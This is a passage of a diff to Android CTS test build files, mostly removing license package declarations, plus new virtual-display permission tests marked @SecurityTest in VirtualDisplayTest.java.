+++ b/tests/tests/assist/service/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAssistService",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/assist/testapp/Android.bp b/tests/tests/assist/testapp/Android.bp
index 07bab73..8ba03b7 100644
--- a/tests/tests/assist/testapp/Android.bp
+++ b/tests/tests/assist/testapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAssistApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/background/Android.bp b/tests/tests/background/Android.bp
index ad0efa0..5dc54e5 100644
--- a/tests/tests/background/Android.bp
+++ b/tests/tests/background/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsBackgroundRestrictionsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
index 24917fd..bbcd8d7 100644
--- a/tests/tests/batterysaving/Android.bp
+++ b/tests/tests/batterysaving/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsBatterySavingTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
index 0ec062b..b65c72d 100644
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBatterySavingAppTargetApi25",
defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
index a1b90c2..0fe80fd 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBatterySavingAppTargetApiCurrent",
defaults: ["cts_defaults"],
diff --git a/tests/tests/batterysaving/common/Android.bp b/tests/tests/batterysaving/common/Android.bp
index ac80927..40ff9bd 100644
--- a/tests/tests/batterysaving/common/Android.bp
+++ b/tests/tests/batterysaving/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "BatterySavingCtsCommon",
srcs: [
diff --git a/tests/tests/binder_ndk/Android.bp b/tests/tests/binder_ndk/Android.bp
index 89dcff4..3265442 100644
--- a/tests/tests/binder_ndk/Android.bp
+++ b/tests/tests/binder_ndk/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNdkBinderTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 095d560..7ff1515 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "libbinder_ndk_compat_test_interface_srcs",
srcs: [
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index 09c5519..0bb59ff 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -2,8 +2,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := CtsBionicTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/bionic_app/Android.bp b/tests/tests/bionic_app/Android.bp
index bde208e..03fca22 100644
--- a/tests/tests/bionic_app/Android.bp
+++ b/tests/tests/bionic_app/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libbionic_app_jni",
sdk_version: "current",
diff --git a/tests/tests/bluetooth/Android.bp b/tests/tests/bluetooth/Android.bp
index 8ce7efb..a99a09e 100644
--- a/tests/tests/bluetooth/Android.bp
+++ b/tests/tests/bluetooth/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsBluetoothTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp b/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
index 124c0a2..0257a41 100644
--- a/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
+++ b/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "bluetooth-test-util-lib",
diff --git a/tests/tests/calendarcommon/Android.bp b/tests/tests/calendarcommon/Android.bp
index e267c99..55b5180 100644
--- a/tests/tests/calendarcommon/Android.bp
+++ b/tests/tests/calendarcommon/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsCalendarcommon2TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/calendarprovider/Android.bp b/tests/tests/calendarprovider/Android.bp
index d14e9f1..39327ba 100644
--- a/tests/tests/calendarprovider/Android.bp
+++ b/tests/tests/calendarprovider/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsCalendarProviderTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/car/Android.bp b/tests/tests/car/Android.bp
index c3e5890..683ee41 100644
--- a/tests/tests/car/Android.bp
+++ b/tests/tests/car/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsCarTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 5f5b61d..6a191eae 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsCarrierApiTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/classloaderfactory/Android.bp b/tests/tests/classloaderfactory/Android.bp
index 450b25f..d920635 100644
--- a/tests/tests/classloaderfactory/Android.bp
+++ b/tests/tests/classloaderfactory/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "ClassLoaderFactoryTestSecondary",
srcs: [ "src-ex/**/*.java" ],
@@ -36,4 +32,4 @@
],
java_resources: [ ":ClassLoaderFactoryTestSecondary" ],
sdk_version: "test_current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/classloaderfactory/test-memcl/Android.bp b/tests/tests/classloaderfactory/test-memcl/Android.bp
index 65ba64c..e4dafb8 100644
--- a/tests/tests/classloaderfactory/test-memcl/Android.bp
+++ b/tests/tests/classloaderfactory/test-memcl/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases",
defaults: [ "cts_classloaderfactorytest_defaults" ],
diff --git a/tests/tests/classloaderfactory/test-pathcl/Android.bp b/tests/tests/classloaderfactory/test-pathcl/Android.bp
index 74ca190..3622519 100644
--- a/tests/tests/classloaderfactory/test-pathcl/Android.bp
+++ b/tests/tests/classloaderfactory/test-pathcl/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsClassLoaderFactoryPathClassLoaderTestCases",
defaults: [ "cts_classloaderfactorytest_defaults" ],
diff --git a/tests/tests/colormode/Android.bp b/tests/tests/colormode/Android.bp
index 2a07d99..3560a61 100644
--- a/tests/tests/colormode/Android.bp
+++ b/tests/tests/colormode/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsColorModeTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsprovider/Android.bp b/tests/tests/contactsprovider/Android.bp
index e58375b..975e5bf 100644
--- a/tests/tests/contactsprovider/Android.bp
+++ b/tests/tests/contactsprovider/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsContactsProviderTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsprovider/gal/Android.bp b/tests/tests/contactsprovider/gal/Android.bp
index b4c2241..5b2f639 100644
--- a/tests/tests/contactsprovider/gal/Android.bp
+++ b/tests/tests/contactsprovider/gal/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsContactsProviderGalProvider",
defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsproviderwipe/Android.bp b/tests/tests/contactsproviderwipe/Android.bp
index 2a82727..c3ce587 100644
--- a/tests/tests/contactsproviderwipe/Android.bp
+++ b/tests/tests/contactsproviderwipe/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsContactsProviderWipe",
defaults: ["cts_defaults"],
diff --git a/tests/tests/content/Android.bp b/tests/tests/content/Android.bp
index 0f87a3b..4df740d 100644
--- a/tests/tests/content/Android.bp
+++ b/tests/tests/content/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsContentTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/content/BinderPermissionTestService/Android.bp b/tests/tests/content/BinderPermissionTestService/Android.bp
index 928e532..798f084 100644
--- a/tests/tests/content/BinderPermissionTestService/Android.bp
+++ b/tests/tests/content/BinderPermissionTestService/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsBinderPermissionTestService",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
index 21bcaf6..b15e59a 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSyncAccountAccessOtherCertTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/content/DirectBootUnawareTestApp/Android.bp b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
index 4a1a9bb..c03d9fc 100644
--- a/tests/tests/content/DirectBootUnawareTestApp/Android.bp
+++ b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsContentDirectBootUnawareTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp
index db42d4b..b303c78 100644
--- a/tests/tests/content/HelloWorldApp/Android.bp
+++ b/tests/tests/content/HelloWorldApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_defaults {
name: "hello_world_defaults",
defaults: ["cts_defaults"],
diff --git a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
index c24d69a..a618068 100644
--- a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
+++ b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsContentPartiallyDirectBootAwareTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.bp b/tests/tests/content/SyncAccountAccessStubs/Android.bp
index e8904d7..1713171 100644
--- a/tests/tests/content/SyncAccountAccessStubs/Android.bp
+++ b/tests/tests/content/SyncAccountAccessStubs/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSyncAccountAccessStubs",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp
index f8a2017..763cf4e 100644
--- a/tests/tests/content/emptytestapp/Android.bp
+++ b/tests/tests/content/emptytestapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsContentEmptyTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/content/jni/Android.bp b/tests/tests/content/jni/Android.bp
index 3e8aeb8..2328276 100644
--- a/tests/tests/content/jni/Android.bp
+++ b/tests/tests/content/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libnativecursorwindow_jni",
srcs: ["NativeCursorWindow.cpp"],
diff --git a/tests/tests/content/lib/accountaccess/Android.bp b/tests/tests/content/lib/accountaccess/Android.bp
index d4d22d0..0773b86 100644
--- a/tests/tests/content/lib/accountaccess/Android.bp
+++ b/tests/tests/content/lib/accountaccess/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "accountaccesslib",
srcs: ["src/**/*.java"],
diff --git a/tests/tests/content/pm/SecureFrp/Android.bp b/tests/tests/content/pm/SecureFrp/Android.bp
index 8117dab..09872e7 100644
--- a/tests/tests/content/pm/SecureFrp/Android.bp
+++ b/tests/tests/content/pm/SecureFrp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSecureFrpInstallTestCases",
diff --git a/tests/tests/cronet/Android.bp b/tests/tests/cronet/Android.bp
index 947d5c0..a91cd6a 100644
--- a/tests/tests/cronet/Android.bp
+++ b/tests/tests/cronet/Android.bp
@@ -14,10 +14,6 @@
// TODO: Move this target to cts/tests/tests/net/cronet
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsCronetTestCases",
defaults: ["cts_defaults"],
@@ -34,7 +30,7 @@
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-cronet",
],
}
diff --git a/tests/tests/database/Android.bp b/tests/tests/database/Android.bp
index 9921305..e2e1f2c 100644
--- a/tests/tests/database/Android.bp
+++ b/tests/tests/database/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDatabaseTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/database/apps/Android.bp b/tests/tests/database/apps/Android.bp
index 9cb636a..0f18003 100644
--- a/tests/tests/database/apps/Android.bp
+++ b/tests/tests/database/apps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsProviderApp",
sdk_version: "test_current",
@@ -28,4 +24,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/deviceconfig/Android.bp b/tests/tests/deviceconfig/Android.bp
index bcbab0e..ade7f7c 100644
--- a/tests/tests/deviceconfig/Android.bp
+++ b/tests/tests/deviceconfig/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceConfigTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/display/Android.bp b/tests/tests/display/Android.bp
index 253489b..a6df5fc 100644
--- a/tests/tests/display/Android.bp
+++ b/tests/tests/display/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDisplayTestCases",
defaults: ["cts_defaults"],
@@ -32,6 +28,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
}
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index db57eed..a0a567e 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -28,16 +28,16 @@
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
-import android.os.Looper;
import android.os.HandlerThread;
+import android.os.Looper;
import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.Display;
import android.view.Surface;
import android.view.ViewGroup.LayoutParams;
-import android.view.WindowManager;
import android.widget.ImageView;
import java.nio.ByteBuffer;
@@ -76,6 +76,9 @@
private HandlerThread mCheckThread;
private Handler mCheckHandler;
+ private static final int VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS = 1 << 9;
+ private static final int VIRTUAL_DISPLAY_FLAG_TRUSTED = 1 << 10;
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -116,6 +119,7 @@
* Ensures that an application can create a private virtual display and show
* its own windows on it.
*/
+ @SecurityTest
public void testPrivateVirtualDisplay() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, mSurface, 0);
@@ -139,6 +143,7 @@
* Ensures that an application can create a private presentation virtual display and show
* its own windows on it.
*/
+ @SecurityTest
public void testPrivatePresentationVirtualDisplay() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, mSurface,
@@ -163,6 +168,7 @@
* Ensures that an application can create a private virtual display and show
* its own windows on it where the surface is attached or detached dynamically.
*/
+ @SecurityTest
public void testPrivateVirtualDisplayWithDynamicSurface() throws Exception {
VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
WIDTH, HEIGHT, DENSITY, null, 0);
@@ -190,6 +196,51 @@
assertDisplayUnregistered(display);
}
+ /**
+ * Ensures that {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS} will
+ * be clear if an application creates an virtual display without the
+ * flag {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_TRUSTED}.
+ */
+ @SecurityTest
+ public void testUntrustedSysDecorVirtualDisplay() throws Exception {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+ WIDTH, HEIGHT, DENSITY, mSurface,
+ VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS);
+ assertNotNull("virtual display must not be null", virtualDisplay);
+
+ Display display = virtualDisplay.getDisplay();
+ try {
+ // Verify that the created virtual display doesn't have flags
+ // FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS.
+ assertDisplayRegistered(display, Display.FLAG_PRIVATE);
+ assertEquals(mSurface, virtualDisplay.getSurface());
+
+ // Show a private presentation on the display.
+ assertDisplayCanShowPresentation("private presentation window",
+ display, BLUEISH, 0);
+ } finally {
+ virtualDisplay.release();
+ }
+ assertDisplayUnregistered(display);
+ }
+
+ /**
+ * Ensures that throws {@link SecurityException} when an application creates a trusted virtual
+ * display without holding the permission {@code ADD_TRUSTED_DISPLAY}.
+ */
+ @SecurityTest
+ public void testTrustedVirtualDisplay() throws Exception {
+ try {
+ VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+ WIDTH, HEIGHT, DENSITY, mSurface, VIRTUAL_DISPLAY_FLAG_TRUSTED);
+ } catch (SecurityException e) {
+ // Expected.
+ return;
+ }
+ fail("SecurityException must be thrown if a trusted virtual display is created without"
+ + "holding the permission ADD_TRUSTED_DISPLAY.");
+ }
+
private void assertDisplayRegistered(Display display, int flags) {
assertNotNull("display object must not be null", display);
assertTrue("display must be valid", display.isValid());
diff --git a/tests/tests/dpi/Android.bp b/tests/tests/dpi/Android.bp
index 35ff3fd..e3fa2ea 100644
--- a/tests/tests/dpi/Android.bp
+++ b/tests/tests/dpi/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDpiTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/dpi2/Android.bp b/tests/tests/dpi2/Android.bp
index 39ccf24..e38a6fc 100644
--- a/tests/tests/dpi2/Android.bp
+++ b/tests/tests/dpi2/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDpiTestCases2",
defaults: ["cts_defaults"],
diff --git a/tests/tests/dreams/Android.bp b/tests/tests/dreams/Android.bp
index 00fc883..13c05b8 100644
--- a/tests/tests/dreams/Android.bp
+++ b/tests/tests/dreams/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDreamsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/drm/Android.bp b/tests/tests/drm/Android.bp
index 9fe8a23..59c23d2 100644
--- a/tests/tests/drm/Android.bp
+++ b/tests/tests/drm/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDrmTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/drm/jni/Android.bp b/tests/tests/drm/jni/Android.bp
index c088695..aa6a94b 100644
--- a/tests/tests/drm/jni/Android.bp
+++ b/tests/tests/drm/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsdrm_jni",
srcs: [
diff --git a/tests/tests/drm/lib/Android.bp b/tests/tests/drm/lib/Android.bp
index 58ad288..2724d2b 100644
--- a/tests/tests/drm/lib/Android.bp
+++ b/tests/tests/drm/lib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libdrmtestplugin",
cflags: [
diff --git a/tests/tests/dynamic_linker/Android.bp b/tests/tests/dynamic_linker/Android.bp
index c93e2df..38a7d25 100644
--- a/tests/tests/dynamic_linker/Android.bp
+++ b/tests/tests/dynamic_linker/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libdynamiclinker_native_lib_a",
sdk_version: "current",
diff --git a/tests/tests/effect/Android.bp b/tests/tests/effect/Android.bp
index 5e9a14f..5ee5b74 100644
--- a/tests/tests/effect/Android.bp
+++ b/tests/tests/effect/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsEffectTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/externalservice/Android.bp b/tests/tests/externalservice/Android.bp
index a1960d7..c70d41b 100644
--- a/tests/tests/externalservice/Android.bp
+++ b/tests/tests/externalservice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsExternalServiceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/externalservice/common/Android.bp b/tests/tests/externalservice/common/Android.bp
index 5300297..4348ace 100644
--- a/tests/tests/externalservice/common/Android.bp
+++ b/tests/tests/externalservice/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsExternalServiceCommon",
srcs: ["src/**/*.java"],
diff --git a/tests/tests/externalservice/service/Android.bp b/tests/tests/externalservice/service/Android.bp
index 3ae356e..781d272 100644
--- a/tests/tests/externalservice/service/Android.bp
+++ b/tests/tests/externalservice/service/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsExternalServiceService",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/gesture/Android.bp b/tests/tests/gesture/Android.bp
index 318d4a0..0d0f52d 100644
--- a/tests/tests/gesture/Android.bp
+++ b/tests/tests/gesture/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsGestureTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/graphics/Android.bp b/tests/tests/graphics/Android.bp
index 7a3cdab..3f821b0 100644
--- a/tests/tests/graphics/Android.bp
+++ b/tests/tests/graphics/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsGraphicsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/graphics/jni/Android.bp b/tests/tests/graphics/jni/Android.bp
index bb4ca258..03157ba 100644
--- a/tests/tests/graphics/jni/Android.bp
+++ b/tests/tests/graphics/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsgraphics_jni",
gtest: false,
diff --git a/tests/tests/gwp-asan/enabled/Android.bp b/tests/tests/gwp-asan/enabled/Android.bp
index a78598e..aadbdde 100644
--- a/tests/tests/gwp-asan/enabled/Android.bp
+++ b/tests/tests/gwp-asan/enabled/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsGwpAsanTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
index 94e99c4..ea60dda 100644
--- a/tests/tests/hardware/Android.bp
+++ b/tests/tests/hardware/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsHardwareTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
index f8c2ff3..f1a04c3 100644
--- a/tests/tests/hardware/jni/Android.bp
+++ b/tests/tests/hardware/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
